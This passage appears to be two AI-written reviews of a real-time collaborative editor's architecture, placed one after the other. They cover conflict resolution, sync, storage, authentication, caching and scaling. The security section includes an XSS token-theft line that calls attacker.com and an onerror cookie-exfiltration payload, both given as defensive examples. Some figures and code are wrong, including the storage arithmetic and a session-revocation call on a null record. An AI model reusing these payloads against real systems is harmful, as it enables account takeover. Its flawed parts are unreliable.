BUT User B typed after User A in wall-clock time.

Worse scenario:
User B's laptop has clock skewed +1 hour.
User B can now PERMANENTLY win every conflict
for an entire hour, silently discarding all other
users' changes with no indication to anyone.
─────────────────────────────────────────────────────

The deeper problem: LWW at the paragraph level means any concurrent edit to the same paragraph results in one user's work being silently discarded. There's no merge, no notification, no recovery.

Solution: Operational Transformation (OT) or CRDTs

// Current broken approach
function resolveConflict(changeA, changeB) {
  // Silent data loss - one change disappears forever
  return changeA.clientTimestamp > changeB.clientTimestamp 
    ? changeA 
    : changeB;
}

// Better approach: Vector clocks for causal ordering
class VectorClock {
  constructor(nodeId) {
    this.nodeId = nodeId;
    this.clock = {};  // { userId: counter }
  }

  increment() {
    this.clock[this.nodeId] = (this.clock[this.nodeId] || 0) + 1;
    return { ...this.clock };
  }

  // Merge clocks when receiving remote event
  merge(remoteClock) {
    for (const [node, time] of Object.entries(remoteClock)) {
      this.clock[node] = Math.max(this.clock[node] || 0, time);
    }
  }

  // Returns: 'before' | 'after' | 'concurrent'
  compare(otherClock) {
    let aAheadOfB = false;
    let bAheadOfA = false;
    
    const allNodes = new Set([
      ...Object.keys(this.clock),
      ...Object.keys(otherClock)
    ]);

    for (const node of allNodes) {
      const aTime = this.clock[node] || 0;
      const bTime = otherClock[node] || 0;
      if (aTime > bTime) aAheadOfB = true;
      if (bTime > aTime) bAheadOfA = true;
    }

    if (aAheadOfB && !bAheadOfA) return 'after';
    if (bAheadOfA && !aAheadOfB) return 'before';
    if (aAheadOfB && bAheadOfA) return 'concurrent'; // True conflict
    return 'equal';
  }
}

// Production recommendation: Use CRDT library (Yjs or Automerge)
// Yjs example - handles all of this automatically:
import * as Y from 'yjs'

const ydoc = new Y.Doc()
const ytext = ydoc.getText('document')

// This merge is mathematically guaranteed to converge
// to the same result on all clients regardless of
// operation order or network delays
ytext.insert(0, 'Hello')  // User A
ytext.insert(5, ' World') // User B - both changes preserved

Trade-offs:

Approach	Correctness	Complexity	Bandwidth
LWW (current)	❌ Data loss	Low	Low
OT	✅ Correct	Very High	Medium
CRDT (Yjs)	✅ Correct	Medium (library)	Higher
CRDT (Automerge)	✅ Correct	Medium (library)	Highest

Recommendation: Use Yjs — battle-tested, used by major editors, handles offline sync, has existing WebSocket provider.

---

Issue 1.2: Full HTML Snapshot Storage Every 30 Seconds

Severity: HIGH — Data loss window + storage explosion

Problems with this approach:
┌─────────────────────────────────────────────────────────┐
│  User types for 29 seconds → server crashes             │
│  Result: 29 seconds of work LOST with no warning        │
│                                                         │
│  Storage growth example:                                │
│  Document: 50KB HTML                                    │
│  10 active users × 2 snapshots/min × 60min = 60GB/day  │
│  For 1000 concurrent documents = 60TB/day               │
│                                                         │
│  No change history = no undo beyond browser state       │
│  No audit trail = compliance nightmare                  │
└─────────────────────────────────────────────────────────┘

Solution: Operation log with periodic compaction

// Store operations, not snapshots
const schema = `
  -- Append-only operation log
  CREATE TABLE document_operations (
    id          BIGSERIAL PRIMARY KEY,
    document_id UUID NOT NULL,
    user_id     UUID NOT NULL,
    op_type     TEXT NOT NULL,  -- 'insert' | 'delete' | 'format'
    position    INTEGER,
    content     TEXT,
    attributes  JSONB,
    vector_clock JSONB NOT NULL,
    created_at  TIMESTAMPTZ DEFAULT NOW(),
    
    -- Efficient queries for sync
    INDEX idx_doc_ops (document_id, id),
    INDEX idx_doc_ops_since (document_id, created_at)
  );

  -- Periodic snapshots for fast loading (not primary storage)
  CREATE TABLE document_snapshots (
    document_id UUID NOT NULL,
    snapshot_at BIGINT NOT NULL,  -- operation ID at snapshot time
    content     JSONB NOT NULL,
    created_at  TIMESTAMPTZ DEFAULT NOW(),
    PRIMARY KEY (document_id, snapshot_at)
  );
`;

class DocumentStorage {
  async applyOperation(docId, operation) {
    return await this.db.transaction(async (trx) => {
      // Write operation to log
      const [op] = await trx('document_operations')
        .insert({
          document_id: docId,
          ...operation,
          vector_clock: JSON.stringify(operation.vectorClock)
        })
        .returning('*');

      // Check if we should create a snapshot
      // (every 1000 ops or 10 minutes, whichever comes first)
      await this.maybeSnapshot(docId, op.id, trx);
      
      return op;
    });
  }

  async loadDocument(docId, sinceOpId = null) {
    if (sinceOpId) {
      // Incremental sync: only fetch ops since last known state
      return await this.db('document_operations')
        .where('document_id', docId)
        .where('id', '>', sinceOpId)
        .orderBy('id', 'asc');
    }

    // Full load: find nearest snapshot, then apply subsequent ops
    const snapshot = await this.db('document_snapshots')
      .where('document_id', docId)
      .orderBy('snapshot_at', 'desc')
      .first();

    const ops = await this.db('document_operations')
      .where('document_id', docId)
      .where('id', '>', snapshot?.snapshot_at ?? 0)
      .orderBy('id', 'asc');

    return { snapshot, ops };
  }
}

Trade-offs:

• ✅ Zero data loss (every keystroke persisted)
• ✅ Full revision history
• ✅ Efficient incremental sync
• ⚠️ Operation log grows indefinitely → need compaction strategy
• ⚠️ Initial implementation complexity higher

---

Category 2: Real-Time Sync Architecture

Issue 2.1: 2-Second Polling Creates Terrible UX and Database Load

Severity: HIGH

Current polling behavior:
─────────────────────────────────────────────────────────
Server A (User A connected)    Server B (User B connected)
─────────────────────────────────────────────────────────
User A types "H"
→ Saved to PostgreSQL
                               Server B polls... (0-2s wait)
                               User B sees "H" appear
                               (up to 2 second delay)

At scale:
10 servers × 1 poll/2sec × 1000 documents = 5,000 queries/sec
just for polling, before any real work
─────────────────────────────────────────────────────────

Solution: Redis Pub/Sub for cross-server broadcasting

// Replace polling with event-driven pub/sub
import { createClient } from 'redis';

class RealtimeSync {
  constructor() {
    // Separate clients required - subscriber can't do other operations
    this.publisher = createClient();
    this.subscriber = createClient();
    this.localSockets = new Map(); // docId → Set<WebSocket>
  }

  async initialize() {
    await this.publisher.connect();
    await this.subscriber.connect();
    
    // Subscribe to ALL document channels on this server
    // Pattern subscription avoids per-document subscriptions
    await this.subscriber.pSubscribe(
      'doc:*', 
      (message, channel) => {
        const docId = channel.replace('doc:', '');
        this.broadcastToLocalClients(docId, JSON.parse(message));
      }
    );
  }

  async publishChange(docId, change) {
    // Broadcast to all servers instantly (no polling delay)
    await this.publisher.publish(
      `doc:${docId}`,
      JSON.stringify({
        ...change,
        serverId: process.env.SERVER_ID, // Prevent echo to self
        timestamp: Date.now()
      })
    );
  }

  broadcastToLocalClients(docId, change) {
    const sockets = this.localSockets.get(docId);
    if (!sockets) return;

    const message = JSON.stringify(change);
    for (const socket of sockets) {
      // Skip the originating connection if on this server
      if (socket.userId !== change.userId && socket.readyState === WebSocket.OPEN) {
        socket.send(message);
      }
    }
  }

  // Track which documents have clients on this server
  registerClient(docId, socket) {
    if (!this.localSockets.has(docId)) {
      this.localSockets.set(docId, new Set());
    }
    this.localSockets.get(docId).add(socket);
  }

  deregisterClient(docId, socket) {
    this.localSockets.get(docId)?.delete(socket);
  }
}

Latency comparison:

Polling (current):    0ms ──────────────── 2000ms (average 1000ms)
Redis Pub/Sub:        0ms ── ~5ms (typical Redis latency)

Trade-offs:

• ✅ Sub-10ms cross-server propagation vs up to 2 seconds
• ✅ Eliminates 5,000 polling queries/sec
• ⚠️ Redis becomes a critical dependency (needs HA setup)
• ⚠️ Redis Pub/Sub has no persistence — messages lost if subscriber is down during publish

---

Issue 2.2: No Operational Transformation / State Synchronization Protocol

Severity: HIGH — Causes document divergence between clients

Divergence scenario with current architecture:
──────────────────────────────────────────────────────────
Document state: "AC"
                                                          
User A: insert 'B' at position 1  →  "ABC"  (op: ins(1,'B'))
User B: insert 'X' at position 1  →  "AXC"  (op: ins(1,'X'))
                                                          
Both ops sent simultaneously. Server applies A then B:
ins(1,'B') → "ABC"
ins(1,'X') → "AXBC"  ← Server state
                                                          
User A receives B's op: ins(1,'X') applied to "ABC"
→ "AXBC" ✓ (accidentally correct here)
                                                          
But User B receives A's op: ins(1,'B') applied to "AXC"  
→ "ABXC" ✗ ← DIVERGED from server's "AXBC"
                                                          
Users are now looking at different documents with no indication.
──────────────────────────────────────────────────────────

Solution: Server-side operation transformation

// Simplified OT for insert/delete operations
// (Production: use ShareDB or Yjs which handle this correctly)
class OperationTransformer {
  // Transform operation A against operation B
  // Returns A' such that: apply(apply(doc, B), A') = apply(apply(doc, A), B')
  transform(opA, opB) {
    if (opA.type === 'insert' && opB.type === 'insert') {
      return this.transformInsertInsert(opA, opB);
    }
    if (opA.type === 'insert' && opB.type === 'delete') {
      return this.transformInsertDelete(opA, opB);
    }
    if (opA.type === 'delete' && opB.type === 'insert') {
      return this.transformDeleteInsert(opA, opB);
    }
    if (opA.type === 'delete' && opB.type === 'delete') {
      return this.transformDeleteDelete(opA, opB);
    }
  }

  transformInsertInsert(opA, opB) {
    // If B inserts before A's position, shift A right
    if (opB.position < opA.position || 
        (opB.position === opA.position && opB.userId < opA.userId)) {
      return { ...opA, position: opA.position + opB.content.length };
    }
    return opA; // B inserts after A, no adjustment needed
  }

  transformInsertDelete(opA, opB) {
    if (opB.position < opA.position) {
      // B deleted content before A's insert point
      return { ...opA, position: opA.position - opB.length };
    }
    return opA;
  }
  
  // ... additional transform cases
}

class DocumentServer {
  constructor() {
    this.transformer = new OperationTransformer();
    // Server maintains authoritative operation history
    this.opHistory = new Map(); // docId → Operation[]
  }

  async applyOperation(docId, incomingOp) {
    const history = this.opHistory.get(docId) || [];
    
    // Find operations that happened concurrently with this one
    // (all ops the client hadn't seen when they sent this op)
    const concurrentOps = history.slice(incomingOp.knownRevision);
    
    // Transform incoming op against all concurrent ops
    let transformedOp = incomingOp;
    for (const concurrentOp of concurrentOps) {
      transformedOp = this.transformer.transform(transformedOp, concurrentOp);
    }

    // Apply transformed op and assign authoritative revision
    transformedOp.revision = history.length;
    history.push(transformedOp);
    
    return transformedOp; // Send this to all other clients
  }
}

Recommendation: Don't implement OT from scratch — use ShareDB (OT-based, battle-tested) or Yjs (CRDT-based, simpler mental model). Both handle all these edge cases.

---

Category 3: Security Vulnerabilities

Issue 3.1: JWT in localStorage — XSS Vulnerability

Severity: CRITICAL — Complete account takeover possible

Attack vector:
─────────────────────────────────────────────────────────
1. Attacker finds XSS vulnerability (e.g., in document 
   content rendered without sanitization — likely given 
   this stores HTML)
   
2. Malicious script injected:
   fetch('https://attacker.com/steal?token=' + 
         localStorage.getItem('jwt_token'))
   
3. Attacker now has valid 24-hour JWT
4. Can impersonate user, access all documents
5. User has NO way to invalidate it (JWTs are stateless)
─────────────────────────────────────────────────────────

Solution: HttpOnly cookies + token rotation

// Server-side: Set tokens in HttpOnly cookies
app.post('/auth/login', async (req, res) => {
  const user = await authenticateUser(req.body);
  
  const accessToken = generateAccessToken(user, '15m'); // Short-lived
  const refreshToken = generateRefreshToken(user);       // Long-lived
  
  // Store refresh token in DB for revocation capability
  await db('refresh_tokens').insert({
    token_hash: hash(refreshToken),
    user_id: user.id,
    expires_at: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000),
    created_at: new Date()
  });

  // HttpOnly = JavaScript cannot access this cookie
  // Secure = HTTPS only
  // SameSite = CSRF protection
  res.cookie('access_token', accessToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 15 * 60 * 1000  // 15 minutes
  });

  res.cookie('refresh_token', refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    path: '/auth/refresh', // Only sent to refresh endpoint
    maxAge: 30 * 24 * 60 * 60 * 1000
  });

  res.json({ user: sanitizeUser(user) }); // No token in response body
});

// Silent token refresh before expiry
app.post('/auth/refresh', async (req, res) => {
  const refreshToken = req.cookies.refresh_token;
  if (!refreshToken) return res.status(401).json({ error: 'No refresh token' });

  // Check token hasn't been revoked
  const stored = await db('refresh_tokens')
    .where('token_hash', hash(refreshToken))
    .where('expires_at', '>', new Date())
    .whereNull('revoked_at')
    .first();

  if (!stored) {
    // Possible token theft - revoke all user sessions
    await revokeAllUserSessions(stored?.user_id);
    return res.status(401).json({ error: 'Invalid refresh token' });
  }

  // Rotate refresh token (detect replay attacks)
  await db('refresh_tokens')
    .where('id', stored.id)
    .update({ revoked_at: new Date() });

  const newAccessToken = generateAccessToken(stored.user_id, '15m');
  const newRefreshToken = generateRefreshToken(stored.user_id);
  
  await db('refresh_tokens').insert({
    token_hash: hash(newRefreshToken),
    user_id: stored.user_id,
    expires_at: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000)
  });

  res.cookie('access_token', newAccessToken, { httpOnly: true, secure: true, sameSite: 'strict' });
  res.cookie('refresh_token', newRefreshToken, { 
    httpOnly: true, secure: true, sameSite: 'strict', path: '/auth/refresh' 
  });
  
  res.json({ ok: true });
});

Trade-offs:

• ✅ XSS cannot steal tokens
• ✅ Tokens can be revoked immediately
• ✅ Refresh rotation detects token theft
• ⚠️ Requires CSRF protection for cookie-based auth (add CSRF tokens or use SameSite=strict)
• ⚠️ Slightly more complex client implementation for WebSocket auth

---

Issue 3.2: HTML Snapshot Storage — XSS via Document Content

Severity: CRITICAL

// Current: storing and rendering raw HTML is dangerous
// A user can embed: <script>stealAllDocuments()</script>
// Or: <img src="x" onerror="exfiltrate(document.cookie)">

// Solution: Never store or render raw HTML
// Use a structured document format instead

// Store as structured JSON (like ProseMirror/Slate schema)
const documentSchema = {
  type: 'doc',
  content: [
    {
      type: 'paragraph',
      attrs: { align: 'left' },
      content: [
        { type: 'text', text: 'Hello world', marks: [{ type: 'bold' }] }
      ]
    }
  ]
};

// When rendering, use a whitelist-based renderer
// that ONLY renders known-safe node types
class SafeRenderer {
  ALLOWED_NODES = new Set(['doc', 'paragraph', 'text', 'heading', 
                           'bulletList', 'listItem', 'codeBlock']);
  ALLOWED_MARKS = new Set(['bold', 'italic', 'underline', 'code', 'link']);
  ALLOWED_LINK_PROTOCOLS = new Set(['https:', 'http:', 'mailto:']);

  render(node) {
    if (!this.ALLOWED_NODES.has(node.type)) {
      console.warn(`Blocked disallowed node type: ${node.type}`);
      return ''; // Drop unknown nodes entirely
    }
    // ... render each node type explicitly
  }

  renderMark(mark, content) {
    if (!this.ALLOWED_MARKS.has(mark.type)) return content;
    if (mark.type === 'link') {
      const url = new URL(mark.attrs.href);
      if (!this.ALLOWED_LINK_PROTOCOLS.has(url.protocol)) return content;
      // Note: rel="noopener noreferrer" prevents tab-napping
      return `<a href="${escapeHtml(mark.attrs.href)}" 
                 rel="noopener noreferrer" 
                 target="_blank">${content}</a>`;
    }
    // ... other marks
  }
}

---

Issue 3.3: CDN Caching API Responses — Data Leakage

Severity: CRITICAL

Catastrophic scenario:
─────────────────────────────────────────────────────────
User A: GET /api/documents/secret-doc
→ CloudFront caches response for 5 minutes

User B (different org, no access): GET /api/documents/secret-doc  
→ CloudFront serves cached response ← CONFIDENTIAL DATA LEAK
─────────────────────────────────────────────────────────

Solution: Never cache authenticated API responses at CDN

// Middleware to set correct cache headers on ALL API responses
app.use('/api', (req, res, next) => {
  // Prevent any caching of API responses
  res.set({
    'Cache-Control': 'no-store, no-cache, must-revalidate, private',
    'Pragma': 'no-cache',
    'Surrogate-Control': 'no-store', // CDN-specific header
    'CDN-Cache-Control': 'no-store'  // CloudFront specific
  });
  next();
});

// CDN should ONLY cache:
// - Static assets (JS, CSS, images) → long cache + content hash filenames
// - Public, unauthenticated content only
// - Never anything with Authorization header or session cookies

// CloudFront behavior configuration (infrastructure as code):
const cloudFrontConfig = {
  behaviors: [
    {
      pathPattern: '/api/*',
      cachePolicyId: 'CACHING_DISABLED', // AWS managed policy
      originRequestPolicyId: 'ALL_VIEWER', // Forward all headers
    },
    {
      pathPattern: '/static/*',
      cachePolicyId: 'CACHING_OPTIMIZED',
      // Static assets use content-hash filenames: main.a3f8b2.js
      // Safe to cache for 1 year
    }
  ]
};

---

Category 4: WebSocket & Connection Management

Issue 4.1: No WebSocket Reconnection or Message Queue

Severity: HIGH — Changes lost on any network hiccup

Current behavior on disconnect:
─────────────────────────────────────────────────────────
User types 500 chars → network blip for 3 seconds
→ WebSocket drops
→ Those 500 chars are GONE (never reached server)
→ User doesn't know
→ User continues typing on now-stale document
→ Reconnects to DIFFERENT server (round-robin LB)
→ Server has no knowledge of this client's state
→ Document state is now inconsistent
─────────────────────────────────────────────────────────

Solution: Client-side operation queue with acknowledgments

class ResilientWebSocketClient {
  constructor(url) {
    this.url = url;
    this.pendingOps = [];      // Ops sent but not acknowledged
    this.unsentOps = [];       // Ops not yet sent
    this.lastServerRevision = 0;
    this.reconnectDelay = 1000;
    this.maxReconnectDelay = 30000;
    this.connected = false;
  }

  connect() {
    this.ws = new WebSocket(this.url);
    
    this.ws.onopen = () => {
      this.connected = true;
      this.reconnectDelay = 1000; // Reset backoff
      
      // Rejoin document with last known state
      // Server can send us everything we missed
      this.ws.send(JSON.stringify({
        type: 'rejoin',
        documentId: this.documentId,
        lastKnownRevision: this.lastServerRevision
      }));
      
      // Resend any unacknowledged operations
      this.flushPendingOps();
    };

    this.ws.onmessage = (event) => {
      const msg = JSON.parse(event.data);
      
      if (msg.type === 'ack') {
        // Server confirmed receipt - remove from pending
        this.pendingOps = this.pendingOps.filter(op => op.id !== msg.opId);
        this.lastServerRevision = msg.revision;
      } else if (msg.type === 'operation') {
        this.handleRemoteOperation(msg);
      } else if (msg.type === 'catchup') {
        // Server sending us ops we missed during disconnect
        msg.operations.forEach(op => this.handleRemoteOperation(op));
      }
    };

    this.ws.onclose = () => {
      this.connected = false;
      this.scheduleReconnect();
    };

    this.ws.onerror = (error) => {
      console.error('WebSocket error:', error);
      // onclose will fire after onerror, triggering reconnect
    };
  }

  sendOperation(op) {
    const envelope = {
      ...op,
      id: generateId(),
      clientRevision: this.lastServerRevision
    };

    if (this.connected) {
      this.pendingOps.push(envelope);
      this.ws.send(JSON.stringify(envelope));
    } else {
      // Queue for when connection restores
      this.unsentOps.push(envelope);
    }
  }

  flushPendingOps() {
    // Resend ops that were sent but not acknowledged
    for (const op of this.pendingOps) {
      this.ws.send(JSON.stringify(op));
    }
    // Send ops that were queued while disconnected
    for (const op of this.unsentOps) {
      this.pendingOps.push(op);
      this.ws.send(JSON.stringify(op));
    }
    this.unsentOps = [];
  }

  scheduleReconnect() {
    setTimeout(() => {
      this.reconnectDelay = Math.min(
        this.reconnectDelay * 2,  // Exponential backoff
        this.maxReconnectDelay
  );
      this.connect();
    }, this.reconnectDelay + Math.random() * 1000); // Jitter prevents thundering herd
  }
}

---

Issue 4.2: Load Balancer Breaks WebSocket Stickiness

Severity: HIGH

Round-robin load balancing with WebSockets:
─────────────────────────────────────────────────────────
Client connects to Server A → WebSocket established
Client's HTTP request (token refresh) → routed to Server B
Server B has no WebSocket context for this client
Server A goes down → client reconnects to Server B
Server B has no document state for this client
─────────────────────────────────────────────────────────

Solution: Sticky sessions OR stateless WebSocket servers

Option 1: Sticky sessions (simpler, less resilient)
─────────────────────────────────────────────────────────
Load Balancer config:
  - Hash client IP or session ID
  - Always route same client to same server
  - Problem: server failure still drops all its connections
  - Problem: uneven load distribution

Option 2: Stateless WebSocket servers (recommended)
─────────────────────────────────────────────────────────
All connection state stored in Redis:
- Active document sessions
- Client cursor positions  
- Pending operations per client
- Any server can handle any client

┌─────────┐     ┌─────────────────────────────────┐
│ Client  │────▶│ Any WebSocket Server             │
└─────────┘     │ (stateless - reads from Redis)   │
                └──────────────┬──────────────────┘
                               │
                    ┌──────────▼──────────┐
                    │  Redis Cluster       │
                    │  - Session state     │
                    │  - Pub/Sub channels  │
                    │  - Op queues         │
                    └─────────────────────┘

---

Category 5: Database & Scaling Issues

Issue 5.1: PostgreSQL as Real-Time Message Bus

Severity: HIGH — Will become bottleneck at scale

Current write pattern per keystroke:
─────────────────────────────────────────────────────────
User types one character:
1. INSERT into document_changes (PostgreSQL write)
2. 9 other servers poll SELECT (PostgreSQL reads × 9)
3. Repeat for every character typed by every user

At 100 concurrent users typing at 3 chars/sec:
- 300 writes/sec
- 300 × (N-1) polling reads (grows with server count)
- At 10 servers: 2,700 reads/sec just for polling
- Polling reads compete with document load queries
─────────────────────────────────────────────────────────

Solution: Separate concerns — PostgreSQL for durability, Redis for real-time

Revised data flow:
─────────────────────────────────────────────────────────
User types → WebSocket → Server
                            ├──▶ Redis Pub/Sub (real-time broadcast, ~1ms)
                            └──▶ Operation log buffer
                                      │
                                      └──▶ Batch write to PostgreSQL
                                           (every 100ms or 50 ops)
─────────────────────────────────────────────────────────

Benefits:
- Real-time path: Redis only (fast, no DB load)
- Durability path: PostgreSQL (batched, efficient)
- Separation allows independent scaling

class OperationBuffer {
  constructor() {
    this.buffer = new Map(); // docId → Operation[]
    this.flushInterval = setInterval(() => this.flush(), 100);
    
    // Flush on shutdown to prevent data loss
    process.on('SIGTERM', async () => {
      clearInterval(this.flushInterval);
      await this.flush();
      process.exit(0);
    });
  }

  add(docId, operation) {
    if (!this.buffer.has(docId)) {
      this.buffer.set(docId, []);
    }
    this.buffer.get(docId).push(operation);
    
    // Immediate flush if buffer is large
    if (this.buffer.get(docId).length >= 50) {
      this.flushDocument(docId);
    }
  }

  async flush() {
    const promises = [];
    for (const docId of this.buffer.keys()) {
      promises.push(this.flushDocument(docId));
    }
    await Promise.all(promises);
  }

  async flushDocument(docId) {
    const ops = this.buffer.get(docId);
    if (!ops || ops.length === 0) return;
    
    this.buffer.set(docId, []); // Clear before async op to avoid double-write
    
    try {
      // Bulk insert is much more efficient than individual inserts
      await db('document_operations').insert(ops);
    } catch (error) {
      // Put ops back in buffer for retry
      const current = this.buffer.get(docId) || [];
      this.buffer.set(docId, [...ops, ...current]);
      throw error;
    }
  }
}

---

Issue 5.2: Partitioning by Organization ID Creates Hot Partitions

Severity: MEDIUM

Problem with org-based partitioning:
─────────────────────────────────────────────────────────
Google (org_id: 1) has 50,000 employees all editing docs
→ All their data on one partition → overloaded

Startup (org_id: 2) has 5 employees
→ Their partition is nearly idle

Result: Uneven load, one partition becomes bottleneck
regardless of adding more hardware
─────────────────────────────────────────────────────────

Solution: Composite partition key with consistent hashing

-- Partition by document_id (UUID) for even distribution
-- Keep org_id for efficient org-level queries via index

CREATE TABLE documents (
  id          UUID DEFAULT gen_random_uuid(),
  org_id      UUID NOT NULL,
  title       TEXT,
  created_at  TIMESTAMPTZ DEFAULT NOW()
) PARTITION BY HASH (id);  -- Even distribution regardless of org size

-- Create partitions
CREATE TABLE documents_p0 PARTITION OF documents
  FOR VALUES WITH (modulus 8, remainder 0);
-- ... through documents_p7

-- Efficient org-level queries still possible via index
CREATE INDEX idx_documents_org ON documents (org_id, created_at DESC);

-- For operation log, partition by document_id + time range
-- This enables efficient pruning of old operations
CREATE TABLE document_operations (
  id          BIGSERIAL,
  document_id UUID NOT NULL,
  created_at  TIMESTAMPTZ DEFAULT NOW(),
  -- ... other columns
) PARTITION BY RANGE (created_at);

-- Monthly partitions enable easy archival
CREATE TABLE document_operations_2024_01 
  PARTITION OF document_operations
  FOR VALUES FROM ('2024-01-01') TO ('2024-02-01');

---

Issue 5.3: No Connection Pooling Strategy Defined

Severity: MEDIUM

// Without connection pooling, each server opens many DB connections
// PostgreSQL has hard limits (~100-500 connections)
// 20 servers × 50 connections each = 1,000 connections → DB crashes

// Solution: PgBouncer as connection pooler
// Architecture:
//   App Servers → PgBouncer (transaction pooling) → PostgreSQL
//
// PgBouncer in transaction mode:
// - 20 servers can share 20 actual DB connections
// - Connections returned to pool after each transaction
// - PostgreSQL sees manageable connection count

// Application configuration
const pool = new Pool({
  host: 'pgbouncer',  // Point to PgBouncer, not PostgreSQL directly
  max: 10,            // Per-server pool size (PgBouncer multiplexes these)
  idleTimeoutMillis: 30000,
  connectionTimeoutMillis: 2000,
  
  // Critical: PgBouncer transaction mode doesn't support
  // prepared statements - disable them
  statement_timeout: 5000,
});

// Monitor pool health
pool.on('error', (err) => {
  logger.error('Unexpected pool error', err);
  metrics.increment('db.pool.error');
});

---

Category 6: Operational & Resilience Issues

Issue 6.1: No Presence or Cursor Synchronization

Severity: MEDIUM — Core feature gap

// Users can't see each other's cursors/selections
// This is a fundamental collaborative editing feature

class PresenceManager {
  constructor(redis) {
    this.redis = redis;
    this.PRESENCE_TTL = 30; // seconds
  }

  async updatePresence(docId, userId, presenceData) {
    const key = `presence:${docId}:${userId}`;
    
    await this.redis.setEx(
      key,
      this.PRESENCE_TTL,
      JSON.stringify({
        userId,
        cursor: presenceData.cursor,      // { paragraph, offset }
        selection: presenceData.selection, // { anchor, head }
        color: presenceData.color,         // Assigned color for this user
        name: presenceData.displayName,
        lastSeen: Date.now()
      })
    );

    // Notify other clients of presence update
    await this.redis.publish(
      `presence:${docId}`,
      JSON.stringify({ type: 'presence_update', userId, ...presenceData })
    );
  }

  async getDocumentPresence(docId) {
    const pattern = `presence:${docId}:*`;
    const keys = await this.redis.keys(pattern);
    if (keys.length === 0) return [];

    const values = await this.redis.mGet(keys);
    return values
      .filter(Boolean)
      .map(v => JSON.parse(v));
  }

  async removePresence(docId, userId) {
    await this.redis.del(`presence:${docId}:${userId}`);
    await this.redis.publish(
      `presence:${docId}`,
      JSON.stringify({ type: 'presence_leave', userId })
    );
  }
}

---

Issue 6.2: No Circuit Breakers or Graceful Degradation

Severity: HIGH — Cascading failure risk

import CircuitBreaker from 'opossum';

// Without circuit breakers:
// PostgreSQL slows down → all requests wait → servers exhaust threads
// → entire application becomes unresponsive
// → users see spinning wheels, not helpful errors

const dbCircuitBreaker = new CircuitBreaker(
  async (query) => await db.raw(query),
  {
    timeout: 3000,          // Call fails if takes longer than 3s
    errorThresholdPercentage: 50,  // Open after 50% failures
    resetTimeout: 30000,    // Try again after 30s
    volumeThreshold: 10,    // Minimum calls before evaluating
  }
);

dbCircuitBreaker.fallback(async (query) => {
  // Degraded mode: serve from cache if available
  const cached = await redis.get(`query_cache:${hash(query)}`);
  if (cached) {
    metrics.increment('circuit_breaker.cache_hit');
    return JSON.parse(cached);
  }
  
  // Return meaningful error instead of hanging
  throw new ServiceUnavailableError(
    'Document service temporarily unavailable. Your changes are saved locally.'
  );
});

dbCircuitBreaker.on('open', () => {
  logger.error('DB circuit breaker OPEN - database unreachable');
  alerting.critical('Database circuit breaker opened');
});

dbCircuitBreaker.on('halfOpen', () => {
  logger.info('DB circuit breaker testing recovery');
});

dbCircuitBreaker.on('close', () => {
  logger.info('DB circuit breaker closed - database recovered');
});

---

Summary: Issue Priority Matrix

┌────────────────────────────────────────────────────────────────────────┐
│                        PRIORITY MATRIX                                  │
├──────────────────────────────────────┬────────────┬────────────────────┤
│ Issue                                │ Severity   │ Fix Complexity     │
├──────────────────────────────────────┼────────────┼────────────────────┤
│ CDN caching authenticated responses  │ CRITICAL   │ Low (config change)│
│ JWT in localStorage (XSS)            │ CRITICAL   │ Medium             │
│ HTML storage (XSS injection)         │ CRITICAL   │ High               │
│ LWW with client clocks               │ CRITICAL   │ High (CRDT/OT)     │
│ No OT/CRDT (document divergence)     │ HIGH       │ High               │
│ 2-second polling                     │ HIGH       │ Medium (Redis)     │
│ No WebSocket reconnection            │ HIGH       │ Medium             │
│ Full snapshot storage (data loss)    │ HIGH       │ High               │
│ No circuit breakers                  │ HIGH       │ Low (library)      │
│ LB breaks WebSocket routing          │ HIGH       │ Medium             │
│ PostgreSQL as message bus            │ HIGH       │ Medium             │
│ Hot partition (org-based)            │ MEDIUM     │ Medium             │
│ No connection pooling                │ MEDIUM     │ Low (PgBouncer)    │
│ No presence/cursor sync              │ MEDIUM     │ Medium             │
│ No graceful degradation              │ MEDIUM     │ Low (library)      │
│ 24h JWT expiry (too long)            │ MEDIUM     │ Low                │
│ No operation acknowledgment          │ MEDIUM     │ Medium             │
│ No audit log                         │ LOW        │ Low (side effect   │
│                                      │            │  of op log)        │
└──────────────────────────────────────┴────────────┴────────────────────┘

Recommended Implementation Order

Week 1 — Fix critical security issues (no architectural changes required):
  1. Move CDN to never cache /api/* routes
  2. Migrate JWT to HttpOnly cookies
  3. Sanitize document content (stop storing raw HTML)

Week 2-3 — Fix data integrity:
  4. Integrate Yjs for CRDT-based sync
  5. Switch to operation log storage
  6. Add Redis Pub/Sub (eliminate polling)

Week 4-5 — Fix resilience:
  7. Implement WebSocket reconnection with op queue
  8. Add circuit breakers
  9. Deploy PgBouncer
  
Week 6+ — Scaling improvements:
  10. Stateless WebSocket servers
  11. Fix partition strategy
  12. Add presence/cursor sync

The three issues you can fix today with no architectural changes (CDN caching, localStorage JWT, HTML injection) are also the three that could cause immediate catastrophic data breaches. Start there.

Of course. This is an excellent exercise. The proposed architecture has several critical flaws that would lead to data loss, poor performance, and a broken user experience. Here is a detailed breakdown of the failure modes, race conditions, and bottlenecks, along with specific solutions and their trade-offs.

1. Real-Time Sync & Conflict Resolution

Issue: Last-Write-Wins (LWW) with Client Clocks This is the most critical flaw. Client clocks are not reliable or synchronized. Using them for conflict resolution is a recipe for data loss and bizarre, unpredictable behavior.

• Race Condition: User A (with a fast clock 10 seconds ahead) makes a change that gets timestamp T+10. User B (with a slow, correct clock) makes a change 5 seconds later, but it gets timestamp T+5. User B's change, which happened after User A's, will be overwritten and lost because its timestamp is earlier.
• Failure Mode: Massive user frustration due to lost work and an editor that feels "buggy."

Solution: Use a Centralized, Monotonic Sequencing System Abandon client timestamps entirely. The server must be the single source of truth for ordering events.

• Operational Transform (OT) or Conflict-Free Replicated Data Type (CRDT): These are algorithms designed for this exact problem. They resolve conflicts based on the semantics of the change (e.g., position in text) rather than a unreliable timestamp.
• Simpler Alternative: Centralized Sequence Numbers: For each document, maintain a sequence number (e.g., in Postgres) that increments with every change. Every change from a client must reference the last sequence number it knew about. The server processes changes in strict sequence order. If a change arrives with an old sequence number, it is rejected or transformed.

Trade-offs:

• OT/CRDT: High implementation complexity. Requires deeply understanding the algorithms. OT requires a central server to transform operations, while CRDTs are more decentralized but can have larger data footprints.
• Sequence Numbers: Much simpler to implement but less robust for truly offline operation. It moves the entire conflict resolution burden to the central server.

---

